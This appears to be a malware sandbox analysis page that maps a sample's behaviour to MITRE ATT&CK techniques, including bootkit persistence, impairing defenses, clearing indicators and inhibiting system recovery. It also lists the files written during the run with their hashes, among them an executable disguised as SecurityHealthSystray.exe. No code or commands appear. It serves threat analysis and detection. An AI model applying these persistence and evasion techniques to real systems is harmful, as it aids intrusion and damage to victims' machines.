Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Indicator Removal

T1070

Clear Persistence

T1070.009

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c17dc8315075bb661bddf6b1efa879b9a3c39af13982f986bd287f5bc861cbdf
MD5 9573474710d1de6302a0d98890d2faae
SHA1 618b9f2079a97625be399f6137e46655659ecff9
SHA512 a345b915a4191d30d0da665ea4f78297c0cd671a5767e05c415403efb649110868fb279d22dc496792452c325e19b00f5e579f6e014a4488c9a4d6fac83d1c46
TLSH
T118D012273B0DB054E7A9C2729613C7921BB6646174434B01E315C95C99B54D412D6183
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 32303cc60a61c54695a10e22e5d4927afa9f3b317f38a1948b3d06b9908ad31c
MD5 fa1d2c7d03afb864bc0f0aeb5e1cf53a
SHA1 4193d63e49c8c734df72c75bc3bc68ccfb747550
SHA512 18e675c077e47d9f348de8d1e8289d3e14124bc45c1080067ad25b834aba4faa30eb3894a3408fff992d86eea6faa72110686428608635b48f56f06f7836bca8
TLSH
T12FD012273B0DA054E7A9C2729613C7921BB6646174434B05E315C95CA9B44E412D6183
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 d08a205c698fc68a1506f7195e80be1cee66872c04f3b6e86e6afb1845a9e1c1
MD5 c0151953bf0c09d6b17f17b05cca17ae
SHA1 c3c7664f4b83f91a4217e882a605fba42b65f56f
SHA512 a28c3faaa468f4a158e50e5d5625076711923f5acc2e6565478de56a31dac8e1304666af1bf1d63021dfb1d84639044831d9311dfadf63a88e21b1e12158ccc9
TLSH
T194F02DBACD21AC3709FD2B1C60A4574AE74513672B91495B7B3C820D8FB563B4645C2C
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 107KB
SHA256 eb28a09ee08dbbbcb59c7daaa38b35c252bf916c01d3c01a4a1ace99d097c963
MD5 aa18b3ac5bea4f12630cd539f473b8f4
SHA1 ee20b406b95fad85e93ac9ff256bf5baed745db6
SHA512 3a9d175e0e2a95dd1aa8423a955b10866005f92c3d55647e9b745037a9a037338d9a4c3dc0b5728df0ac3413d1bf48267425dfdb784785c50edaa9ae28935090
SSDEEP 1536:wfEEMUHqdm31/ZGZqW3UUPDuVepBLU9vlZsC62UMPq:J8HG/Q3lUh
TLSH
T14CB36326D6A54C6B01F12264EC754383F325436F9282A82F3A7C5D5C2FBD93A6642F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 da7f979b08bee94848b6601273192fa8ba59f4735685df5ce7b68a24cee3a05b
MD5 3332168f6ff53082d5b4ce53ef9669e4
SHA1 57d1765f01f96e383ba86b87d5163be38c1dc833
SHA512 49a260a1f6014ab8e8a6b61ada5b568002a30bd0f298f93059ab342c4bb86855e9db554e581b779aff038b3b3a470bc69798a72362642dba22a87bb0ace32bc6
TLSH
T16A41C1F783E8856ECA1195F0A718AE2FCE2D0511432C3D9A89E0AF1B93E2471E14169F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 2bea9edf8309bfbeb36b7d545bdc74b3dc24b5de642b9430bc95eea3edb572e8
MD5 e834cd738f062ec7c5732bf74d422d6c
SHA1 7b6038ba7354922013627fb2282313271f81a888
SHA512 eb23ce374660dc8ddbffd5ab01829c5ba5437c856bb68518859e3bf9796697c8eead69da41a29b7b0de7fd0ed7533adeaa6ba64ad3f2c136c81cec10d3a162d8
SSDEEP 192:sxZ9RJyHoNKOMl8M2h/fQsYzKTG5GN2bwDzodpEO/W6+WNGSG0hR+xTIg5j+wJ:sxZ9Oeh/fQsYzUei29r/bGcql+U
TLSH
T11762E8066A64497BCCDBD319FA957B53D7F91532A1904E48AAFCCB0C05D66EC220383F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 f0a44a71dfaf31f394baa51051dc6e5687884c13ca8f8d5c4967ed8fe3032a20
MD5 28ad1592b816197bacb7fa68552e00be
SHA1 244cc59dc14c6c031470cf80f080e6ed5fb3c636
SHA512 0b1f9807b7c3c399112f8eda6b2348a28718440c25214e11c1f0970d7c9bc7c05e905ff122ad14006dda314dd363948a0eafffa6e8ce683cc62e45dfcdee8561
SSDEEP 192:sxZ9RJyHoNKOMl8Mch/fQsnzKTG5GN2bwDzodpEO/W6+WNGSG0hR+xTIgj+wJ:sxZ9O0h/fQsnzUei29r/bGcqj+U
TLSH
T1ED62E8066A64497BDCDBD319FA957B53D7F91532A1904E48AAFCCB0C01D66EC220383F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 36KB
SHA256 dcc943db4f79e00398b8a5d942381d2e7fe1d999bd697d5cdf803515457d4d57
MD5 d4feb5a182a8b16fb6d9c9bf0a53974c
SHA1 632ba388877463b2594072a05aaabe11f7795168
SHA512 d649ccc5097177dcf4da57e69ccc0f53dfa7fc49dd7dbb0ab5990d7ddf2258cd7a39ce329bc0882e2d8c68e35aa8d2ebc2c04e41a07aac6ba7aa8380a218bbd9
SSDEEP 768:wQAKq8y02yS7pLKLpjbWRmj1QWT8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3Dzx4Ll2:wQAKq8y02yqQpjbWRmj1QWTu1jaKDzx1
TLSH
T144030A3B6C0CCB7E4F804E9CED277E8A6DE8028BA698C95447FA444C03C66EF55165DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 26KB
SHA256 1a15eb192ef074eee2448be1806b7d19e859c2c6463dbc72cb26813e1a45f19a
MD5 d8688977b713b7d0fe7f5fc829c72ba2
SHA1 96e406683243bd0c281efcce4bf2ffe99c254eb6
SHA512 13753f6a5e92d9b457e47c7c0fd6d0cd584ba2eb594281f404533013357042ed14022a5696c43eca930d477d558f827de082de15f0d9ab958903e94c3f361be2
SSDEEP 192:GD9R5VJhn/iVJnZFGVApBPisTE/3oNloNPSF53pVWFQ5xfSsD0PnY9JFlPtv0F5a:GZLVDJjEDPV0/HL/7Wvic
TLSH
T1F3C2791236FA02123C7E790C92969B275A82F1633059AC7B7BA910B54E67F214DFD8CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

favorites_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\favorites_diagnostic.log
Size 2KB
SHA256 e9bfe52064e00ba317db3cab5adedbffaff3bfb819119228098a284a0f05fe16
MD5 c4d35251b3af9e9caca74b092063f336
SHA1 587678ff4bb98b95a69917f27a312d5b0d7f977a
SHA512 3519305572e4f450363257aa6e41eae4ec42f66ba0e0ec210e544ae60c104814dea3b31fa602654d929dc40f59649ec4c2a0af246f961034b638f94492ae62f8
TLSH
T1B751B7C1A3F550567F89A941C30B6A13ACE57E57260E5CB2632E84F84F44C290F6FE65
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 ac04b8cb8c5a3dfdbbedf4cbb55430dea775f435e622ea2def3ab0783e2cbbf2
MD5 468ee69ea9e37a73a9b507f560d6ae8d
SHA1 8c2e27a572ec1f993fe1ee3c556d66f6a3960f9b
SHA512 2eae55c9886113f9681fa521c18275bc4b47f3f40914d441fd83401c7cb3126fdeb5161d8a480cbecfc26b6b4ea339a671e291ea2027ed49570422258c2b3ded
SSDEEP 384:ngiF+CcmyWCn38NLM8TUNTUlIRwPm3ek32nn9U48J24zpfbLGHNCR4xDxbXKatyy:7F9cpn3QMwgiKekmB8JjxG0cDxbXKe
TLSH
T10CC24A32EC64CDB7ACEA4F99B74E7A53DEE0116399884ED8D6D80E1D009B1CD170BD26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 7a55af66c3092aaf7c6129b7658fc7bf1fb7ea468a246d6db013b0f17eecac28
MD5 026ff013add087c6bbe98e24c44242c8
SHA1 226e92e7ef500a1da818b45eabe4653dd990ca6c
SHA512 7b3eb4c29a2be5d53b8c486ad970279804b4d737816f05085a20bd027c2543ce32cbf646a14deb50acf14d69fe5945e6df484fc74171e8982115ba90be98ab0f
SSDEEP 384:nLiF+CcmyWCn38NLM8TUNTUlIRwPm3ek32nn9U48J24zpfbLGHNCR4xDxbXKatyy:mF9cpn3QMwgiKekmB8JjxG0cDxbXKe
TLSH
T1B3C24A32EC64CDB7ACEA4F98B74E7A53DEE0116399884ED8D6D80E1D009B1CD170BD26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 26KB
SHA256 332f7e21c7499bcdb03a3e5c7141684b21c315e38f2ae8a5670cc398119a9f92
MD5 c23d643c9bb426eae83ef4d0b2f24def
SHA1 b1fb7464b6cd48c20bc05e60b17d5faaa82890ac
SHA512 903f8f926de616238f6116d9a1ad6f616085e8d7f77c34e33f024f99ff4cfb409b5b05e0e65891d2fcf3a1e7326e11314b61af8a951965d7e4de6f7935e7a533
SSDEEP 768:mFccps3QMwgAKekmy89xG0bDxbI8p0e/C:Ss3Q1ksxbI8p0ea
TLSH
T1A5C25B31E864CDB7ECEA4F98B74A7653DEE0516399889EE8DAD80E1D00971CD170BC23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 db2d1bc5b78f32aed4d47f00391f3dd257f86bc0fb2d39f971e57a0680d874ce
MD5 2f4f3387e44c290624b208ccf36bee25
SHA1 4d88f181c430c144cebedf839ea2d9cc7ecc34ad
SHA512 d4e0c9664696fa7a49e36d8f3c64f2374284a7e91e3ca96bacf8455f2eb201af1b020771243dbe105a49cf885bef3cb63d0c520307ca5ea8e9f2732309bcc2d1
SSDEEP 768:UF9cpn3QMwgfKekmB8JjxG0BDxbygRDVY:Hn3QQkrxbygRu
TLSH
T10ED24B32E864CEA7ACEB4F99B70E7652DEE4016399885ED8E6D80E1D00871CD170BD26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 560437fe1ec05e6efd51addfeef7d5fd85915df01802304f30b4e9dfdc0b6379
MD5 10c0ebc0197dc1584afe385abf8297a0
SHA1 ec7094b9d44b566724848f5f4823cca523cbbd4f
SHA512 8cc26bacdc4910d9b87d7b6a3d04b4dacd6a44b4e9e48137b4bba09ca085e44da165829115c47d2dbdf8cf83453391db9f8d4ac7d0f4cb74f9e5e14488146d1e
SSDEEP 768:LFccps3AnWwgPKekm68BxG0vDLI8p0j/C:rs3AnAkxILI8p0ja
TLSH
T14FC25B36EC64C9BBECEB4F98B70E6613DEE0526386885DE4DAD81E1D009718D170BC27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 2aae6c258ffe83fdeb8158f3f902753b5bc57671d15a4a3492089f654e7ba39d
MD5 5db9dca696c9278171702bbc5fae68b4
SHA1 dd24436c04ae7495325248d54d78a478e2477689
SHA512 f7281e7b46221bd5ae36ea00b6d66e8fff77ee26a982a3115118dc91a7698ec90235a1c501ee022fd0453183be684929de47e31cbcd21c2e99ea3a64f67aba24
SSDEEP 768:UFkjZbC3QMwgfKekmB8JjxG0nDxbygRDVYE:5+3QgkNxbygRaE
TLSH
T1A6D25C32D864DEA7ACEB4F95F30E7A52EEE4016399885ED4E6D80E1D00D72CD170BD26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

music67.html

Path C:\Users\Admin\AppData\Local\Temp\music67.html
Size 804B
SHA256 a8563e153115f222e32c66c23b676fee29703389e6116e13f1997f6f02533592
MD5 4fe60278cc219422ac2ab680cfb1e4c7
SHA1 14cdd6721bec029bf4e83df37a92f12a4cb0be25
SHA512 49622692dcf1e066333f8423a1e9b80824a42102753e559bd406bc0719ee854c6cd3ca8463a23ad54e1d26555874c00f6d04a3b490ff02121da64e1aa68636c3
TLSH
T1C70189137025BC81C6B2B77237B36088657BB3121A825780B452C2A31F23A85AD59ECC
MD5 SHA1 SHA512 TLSH

Submit Download

music67_final.html

Path C:\Users\Admin\AppData\Local\Temp\music67_final.html
Size 775B
SHA256 4daec786120ca1737865a4f2a8185a0c67d98fe9ff51a78a7f3d1fb43dc0729e
MD5 c23f9748f5abb56a76a1d06625bbf128
SHA1 15fb7a64e9f18f26c1381bb640025aa61547a0bf
SHA512 7832cfc20022034836d3aad8f7bafa585d6efc166f666f288061f935da20c74ed4c7fea4099136622eaa2590e8b62df10016e6418bbf187a64b2568cd2946783
TLSH
T1B30190177024BC4186B2F7B23673A14C9577B3161BC74781B466C1A31F236955D56ECC
MD5 SHA1 SHA512 TLSH

Submit Download

SecurityHealthSystray.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
Size 658KB
SHA256 0d2207c53fcb676d9b54b55e06a207b0242eebb8ddd5b1e1f1d37c6c9744cf2c
MD5 04cabbf13c2e16ff835021e7f5a8fa81
SHA1 91e8e975ec95fe14b911b33123a10cdc7afe8f83
SHA512 e4f8276c130c8477fb9d016b80e29fba308a3f1668246ead1efb54194ee3c2a9a94774586413dbb96c102d2da9c9324ab72b4766816f65b6b9957450f2b5edb2
SSDEEP 6144:RLe+EPr99TzKe6Jrblf46eIEVTAf5mCrlddOwfm18WgaRth86cEcm:onTzK/rbl4TIKcACRdUmm1dth83EH
TLSH
T1F8E4F83AF71219ADC05F437B85A5C3E195916A85F33465B702B08E53BAE34C25F2AFC2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

67 (5).txt

Path C:\Users\Admin\Desktop\67 (5).txt
Size 836B
SHA256 f1b6000852a821908a8aeea5eafbc2433a3ed98607f3e15a54a81564506003dd
MD5 e2f78180809f1ac78214c780162de947
SHA1 aaade959f0034c6905ff98cf69e8e874b95bf692
SHA512 c6f50c3c4d7b474cd5656da073e04bf995fd0185b7e07f006e65193b7449be1171d8e568b22d49a2d18123c13066664c8ae5ade40e713a55607a623290a1f636
TLSH
T1DB0102F208B4022A8B2038A00D8BCEE1A3230CC2C0C3100AD3AE023C2F3DB108B0E2C2
MD5 SHA1 SHA512 TLSH

Submit Download

c_swdevice.PNF

Path C:\Windows\INF\c_swdevice.PNF
Size 6KB
SHA256 138e28145242a5b152bd762830c075730af6fe4114fb39dbbaee249fbe83f2ed
MD5 e02fca6c36b93b4045a02a81b9e336fb
SHA1 fb7bd410b19803f9cc14a197569f92b08e26b068
SHA512 c6b095e28f7b055b08b83bf0ed50da93e83d8cd7a62ff7d75b887c61e60f04093b0aeed6fce68e4b10fae3e9a72ed58b09e736c7adeed690186a99051a2f9907
SSDEEP 96:z9PSM0KS0B84Nlk8MAgZtRagpkN1RZ0Zdh1eRkAMAgwwYpSe:hzj5Tkftb01AYGZo
TLSH
T138E13755B3E98F25F1B69E70ADF064EA5962BC811C01CA5F7264B30D2C73EC4DBA0726
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cpu.PNF

Path C:\Windows\INF\cpu.PNF
Size 20KB
SHA256 fdb2177c14064327d0a216a13a71304f34b3789b77d68b7682c364c077ea70d2
MD5 4a6457aacf83001c4b0c656fb4e496ef
SHA1 a99d63506b1201f616df5f39c7756f427b59a950
SHA512 1b3b3f17046a39ad90c7533bc83f49490dcda5808193e363143fbdb98336b8330fa68c15e8d4eadad14317c5a97f18fb7e45e101a73feb48e8ef0c549d38fd3a
SSDEEP 384:Csd5+Df/NIHK98lPT2aHj1SK8WlBRj0d1chezPP0hu5wJioAct5Ad1vqEL0E2j8K:Cs7efmaOcWlb0QH0DDkCIqvEZX
TLSH
T1A692760133EC4B15F2B60E706DB9A1E58866BDE16D12DB5F2020738C1872FD4EEB1726
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mshdc.PNF

Path C:\Windows\INF\mshdc.PNF
Size 68KB
SHA256 0aa617671dbcf11450178bc57b2689dfced214dce81707ad8485e6e43fcfbfe0
MD5 01a7f4928fc5187d4109b73b0ef98e48
SHA1 d1cfb481ee2b2e9a8d2f09e2127b3649c8df5060
SHA512 73002e1c9d544c825cf50fd06c7f2ff47b2934bbe7e10cc24d254f4532eb11782c1bc01455160a807867854c87b57c5c977e768a93bcdcbd446cdd0d6e6c1103
SSDEEP 1536:mrGhdmrPS6fCuMiK3CWTfek1PsAdSyalc:yGhR6auMJ3CWqkdsAd2c
TLSH
T10763A90437D84B0AF5B3AA70AFF286965D25BCE16E21D71F54B0730E0872F85ADA1736
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msmouse.PNF

Path C:\Windows\INF\msmouse.PNF
Size 97KB
SHA256 94f3b73695307d8230af19a913e084799fdfe836a5e1af14af52c80a5a391df9
MD5 379c181004e9b501c8f186ae33eec5a8
SHA1 6bc32f27ad4f34bcc5ff60b1fb63e1b8f3367135
SHA512 2288815a25b7cc957572ce7eaebb70e001e0d7f11225ddbe8c59365a0ed49a4c509e64be0de2d7d51d3101d171d978c97458d96510b67d41d04153d8bc885a83
SSDEEP 3072:Nfh6Y49+09qynwSQRZTexpjwSY52L9lipZvjpv0:239qFvN8
TLSH
T101A35551B2ED5B1EF2F21E716AF15167882ABCD25C21D70E5960B30F69B0F81CDB0B26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

printqueue.PNF

Path C:\Windows\INF\printqueue.PNF
Size 7KB
SHA256 b8ebd03d08d735f0478f2e872edaad208b04d5917c00bc8902896ccdfae06e81
MD5 4f19c59e11f24a8d65e88662d183da87
SHA1 c9094687a95ea3b636c7f4d72aec9e8802422100
SHA512 5875314de5eafa7f2fa39f2ef2a1689fd914fc56a70ab5b5780e5cf64b75d8f312aeaec87323dadd1af3bc2a284a90bf2d79c15593fc34c7645a400570506cb8
SSDEEP 96:QwuQmTx0W/g1uXw8BQ+vOlPl+oJV8bwBE5FyyfitH2HRUZ:QzPg8Xwh+vOuMV8kQvC2s
TLSH
T1A4E18A06B3E58E14F2B29EB0ACF864E94962BC915D45DA2F2124731D1873E84EBB0736
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

usbport.PNF

Path C:\Windows\INF\usbport.PNF
Size 150KB
SHA256 c8f3b88a5e840c8e71c5de75c6d2be1e40506dcf20b71c0ed5af882671416181
MD5 475cc3322566b99e40a7c29a85296a61
SHA1 9f9f726833d72d68868714f77d536891a9555a17
SHA512 2414ad842295614dad7367cbf512051ef7379c809086e4550fd0ad374f3fcb034773fe113368989ace027e29f45c0a20ab1292daa722ae652ae6351b4fc4c177
SSDEEP 1536:X/f4/Uc9QT1SYwYp8ZYT5IcQ7lsupnFUxz0J2/ZXYRp9A:X/f4Mc9QNupnFUxgfRc
TLSH
T115E3590433D40B0AF2F26A70BEF585666D26BCE2AD30DB2D4874734F1972E85ADA1735
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

volume.PNF

Path C:\Windows\INF\volume.PNF
Size 6KB
SHA256 4653641a4fca5e069998f19c16a41a8aa01d8f2ecf36f8d67826c1bc14451fd6
MD5 5adde83cdd4f955432922cd29bd83e78
SHA1 e3bc453d4f1af74150eb965866be8389ffbfbb86
SHA512 426ed7132d671ad22ea7da6335ec03e5da4c096bb9758b87a219b6ddd05ddc7fe6d939fb425119b8040337d581c9d27793f5ad8805b813b222c2c9810abffeb8
SSDEEP 96:wMmGmIAm/rvc01GGf6NR1thXdKYiKDlkN+syIjtpz2H7Ny:T/rvcyyNrthdKYiKDiHa4
TLSH
T1F2D1565177F88E05F2B69A707EF056E6042A7D828C42DB4F3554730F1872AD4ABF072A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 2KB
SHA256 47bff9018e3054985f3ffbd4af54c0a5eef70c63339f920bdce9d082b41f0cc2
MD5 30498a03741179bd6cfd3db23eb31bb4
SHA1 b9d17421e008e8ce5f654a01a690a969bf96ee47
SHA512 0b26a44f2a213b772b0b9ccfd3ba4ce7388ee02b0c6fd3340b30fb873b48c27cf62b96ea72031bfbe68d5c1c367fb084883437aae0beb00e4c5da75493193117
TLSH
T1ED4161320D7689369909E601F7510A9EED03B2639F4D76147A7F68957F0332D8AECEC8
MD5 SHA1 SHA512 TLSH

Submit Download

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 3KB
SHA256 1e48c54098c56c70a84caf429ab8fd4e7190c319e3596799bf09cfdfba13c963
MD5 05fecd3629fa0eacdb37ddf75c890593
SHA1 93a7e17ac244c1e8e632640b3ecd8306cf1bfb27
SHA512 c7482fbbf8aa9bf4392bb32d1e0df553ae5ede88f5e30d3efde4b0358514888890b9bfc795a28258a30691b4be84b1d31f44a8232327d733a193fd2724f4f4a9
TLSH
T1198192321D7689369909EA00F7510A9EED03B2635F4D7610797F68957F0332D8AECDC8
MD5 SHA1 SHA512 TLSH

Submit Download

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 7KB
SHA256 3e50f3a84e145dfb4aa087560c7dee80de80255b29a5f2ff473e6084efbdeea2
MD5 889525ec5d92ae5cae534428e10cc19e
SHA1 d877c5c9cedc9666aa365895066c69c9de20e918
SHA512 55746035a8f5f26c2560c5eb42ea8e5715319356a045691a1b3c6e5f41acd19aba43d14e81993a4a8d20de46c3b1f66b442bcc4e6371432342bf99232d10f482
SSDEEP 192:TBRBSBRB4BrBBBWBp0BtB7BcABZBRBsBCBCBPBCBnB8ByBVBpTB2B8BzABqBCBJK:lTIT29DEp63Nc+bTy44p4BCofplkCz+W
TLSH
T191F1E1221DB646769905DB10F7220AADEE13B2631B4D76107A7FA4897F0232D89FDDCC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagerr.xml

Path C:\Windows\Panther\UnattendGC\diagerr.xml
Size 11KB
SHA256 8cfeb82952c9983671ea84a4e1c9980dc67661f724f955fe6393cd1d4912c7a2
MD5 71b36a86f1ce0b17d8ae3ae51a5d3621
SHA1 fa73b1629db7f83eb0cc1791df04ca8ad76370f6
SHA512 a6e9cbe64982981ba54fb480bc341e15c8e474a1e14afdf4f55cc41c72c79bddf0ff9e0357d248933d9c5a81b1fd80151cab53c52f4379c7e361211bd3a2390e
SSDEEP 96:5MwiGdgbneLHMwiGdgbneLHMwiGdgbnYMwiGdgbneLHMwiGdgbnH78fHMwiGdgbt:53gbq3gbq3gbY3gbq3gbHC3gbt
TLSH
T187328229B1992EBB5C9446F8DFD038C26F8097794106A03795C4FDAFB239082F5B17CA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagerr.xml

Path C:\Windows\Panther\UnattendGC\diagerr.xml
Size 13KB
SHA256 6a7d8e22cd563dda48e1322716dd24bc9488f55a61678b870148948005bd9597
MD5 ca198adc4eabb50bba662c2e5e3f8a88
SHA1 c5d3f4f4bb3653f70d6a992ed5be1f9bf934c848
SHA512 5e9eeae2431f89afcd5300dccc63b9de1844be49dfbae435971d98b474fca0860c1cb56882b4595c321f3249c00a6460b4d6e7887bd04def94437a213f56391d
SSDEEP 96:5MwiGdgbneLHMwiGdgbneLHMwiGdgbnYMwiGdgbneLHMwiGdgbnH78fHMwiGdgbW:53gbq3gbq3gbY3gbq3gbHC3gbHs3gbHU
TLSH
T14C529229B1992EBB5C9446F9DFD038C26F8097794106A03795C4FDAFA279042F9B07CE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagerr.xml

Path C:\Windows\Panther\UnattendGC\diagerr.xml
Size 15KB
SHA256 f573deef3e6244b316bd220577e0255580e1489c0639cdb3a6eac81fc91bcd83
MD5 3b0a686d4f9e09bd7c5a418bed73a86c
SHA1 45f6eb606674a0305d976f0ef60aa70d8f604bbc
SHA512 2400b88cdfcd920843602b3eea712002db6e648d4972074d4ba3774b02067ae86b5592c939e6d112dae7e7b29fff14cf041470caeec06d745f96f4691198cf7d
SSDEEP 192:53gbq3gbq3gbY3gbq3gbHC3gbHs3gbHl3gbHN:53Iq3Iq3IY3Iq3Ii3IM3IF3It
TLSH
T1FC729229B1992EBB5C9446F9DFD038C26F8097794106A03795C4FDAFA279042F9B07CE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagwrn.xml

Path C:\Windows\Panther\UnattendGC\diagwrn.xml
Size 13KB
SHA256 281ad39d592c2bb9dae8ab89ef4be7b68c952f53e6d083e3393efccc1a67098f
MD5 9b90d00d3f49d14ec73f0a8aad19a470
SHA1 f6b1039199138f36e3cf4436564d6d00bd664741
SHA512 dea91121787a705b0b78ea9895ec9d5f3041be5cac2a3aff4f2b673b4f3cf26ba70e849d9d62cb0b75feeb8853fd88703f36830e11cd080bee3b3e3adcb86b79
SSDEEP 192:53gbq3gbExc+xcF3gbY3gbq3gbESK3gbEF:53Iq3Iwc13IY3Iq3Im3I+
TLSH
T1C852E439B1952EBB5C9046F8DFD038C26F8097794116A03794C4FDAFA279042F9B17DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagwrn.xml

Path C:\Windows\Panther\UnattendGC\diagwrn.xml
Size 17KB
SHA256 fba2fc0bdc545494576ee0d966e1669dfba19831ab210384dbccd23c13859b57
MD5 764fabfd8c89315880ca524dc78ece9a
SHA1 32a5d56deb8c672550849436e564a9dc78732d4d
SHA512 3c6ad9087863ec8673777fba3df6d67dc3fff1c2d5ad405b0dfdbe2e16eb6d8a3f0a51389a96642dd4ecb96452ff53e092018102f501a3257f87b143e165aa06
SSDEEP 192:53gbq3gbExc+xcF3gbY3gbq3gbESK3gbE8c3gbEcRPsNWHxZdk:53Iq3Iwc13IY3Iq3Im3IE3IRz+
TLSH
T13D820928B1952EB75C9046E8DFD038C26F80AB764116A037A4C5FDAFB275042F9B17DE
MD5 SHA1 SHA512 SSDEEP TLSH
